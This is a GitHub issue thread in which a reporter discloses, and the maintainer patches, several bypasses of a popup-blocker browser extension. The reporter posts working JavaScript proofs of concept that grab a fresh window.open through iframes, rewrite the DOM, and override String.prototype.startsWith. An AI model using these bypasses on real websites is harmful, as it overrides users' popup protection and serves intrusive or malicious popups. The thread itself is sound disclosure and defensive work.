schomery / popup-blocker

A reliable popup blocker with history
https://webextension.org/listing/popup-blocker.html
Mozilla Public License 2.0
143 stars 37 forks source link

Iframe function override bypass #128

Closed pipipear closed 3 years ago

pipipear commented 3 years ago

If a script creates an iframe that immediately grabs and saves a fresh window.open function,

let frame = document.createElement("iframe");
frame.src = "javascript:window.parent.bypass = window.open;";
(document.head || document.documentElement).prepend(frame);

it can reference it later and bypass this extension.

document.addEventListener('click', (e) => {
  bypass('https://example.com', '_blank', 'height=500,width=500');
})

Demo on codepen: https://codepen.io/pipr/pen/VwpVyZQ

pipipear commented 3 years ago

Commit https://github.com/schomery/popup-blocker/commit/4863f50adb5e28fdebdd191a52fe5c681c5c9c04 's mutation observer can be bypassed by destroying the documentElement

setTimeout(function(){
  document.documentElement.remove();

  document.write('<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}</style><div>click anywhere to bypass the popup blocker</div>');

  let frame = document.createElement("iframe");
  frame.src = "javascript:true",
  (document.head || document.documentElement).prepend(frame)
  let bypass = frame.contentWindow.open;

  window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);

Demo on codepen: https://codepen.io/pipr/pen/LYWMpdR

schomery commented 3 years ago

how about 5d25c76776535f873d35c9816f0a03505b6c35d2?

pipipear commented 3 years ago

https://github.com/schomery/popup-blocker/commit/5d25c76776535f873d35c9816f0a03505b6c35d2 works great against element insertion functions but the mutation observer's callback doesn't seem to run soon enough after direct dom modifications.

setTimeout(function(){
  document.documentElement.remove();
  document.write('<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}#fresh{display:none}</style><div>click anywhere to bypass the popup blocker</div><iframe id="fresh" src="javascript:true"></iframe>');
  let bypass = document.querySelector('#fresh').contentWindow.open;
  window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);

Bypass v3a: https://codepen.io/pipr/pen/XWMoPog

setTimeout(function(){
  document.body.innerHTML = '<style>body{text-align:center;background:#030039;background:linear-gradient(90deg ,#030039 0,#3a0979 50%,#8d00a4 100%);color:#eee;font-family:Verdana,Geneva,Tahoma,sans-serif;height:100vh;display:grid;align-content:center;margin:0}#fresh{display:none}</style><div>click anywhere to bypass the popup blocker</div><iframe id="fresh" src="javascript:true"></iframe>';
  let bypass = document.querySelector('#fresh').contentWindow.open;
  window.addEventListener('click', (e) => { bypass('https://example.com', '_blank', 'height=500,width=500') })
}, 0);

Bypass v3b: https://codepen.io/pipr/pen/YzZdOdJ

schomery commented 3 years ago

The mutation observer executes before the frame's script. So the code inside the frame is protected. The problem is the contentWindow and contentDocument references. Should be fixed by the latest commit.

pipipear commented 3 years ago

A script can still tamper with the String.prototype.startsWith function, among others, and trick the if statement on line 61 into believing that an iframe does not need protection. https://github.com/schomery/popup-blocker/blob/6478dd5e809c8600e2d8eb63669e3d04f792c5de/src/data/inject/uncode.js#L61

String.prototype.startsWith = () => false;

let frame = document.createElement("iframe");
frame.src = "javascript:window.parent.bypass = window.open;";
(document.head || document.documentElement).prepend(frame);

document.addEventListener('click', (e) => {
  bypass('https://example.com', '_blank', 'height=500,width=500');
})

Bypass v4: https://codepen.io/pipr/pen/RwVbmWP

schomery commented 3 years ago

True, I can probably fix this, but until the entire evaluation code is moved to the protected context, there is always a way to bypass it.

The current focus of this extension is to watch the unprotected context against all possible window opening methods.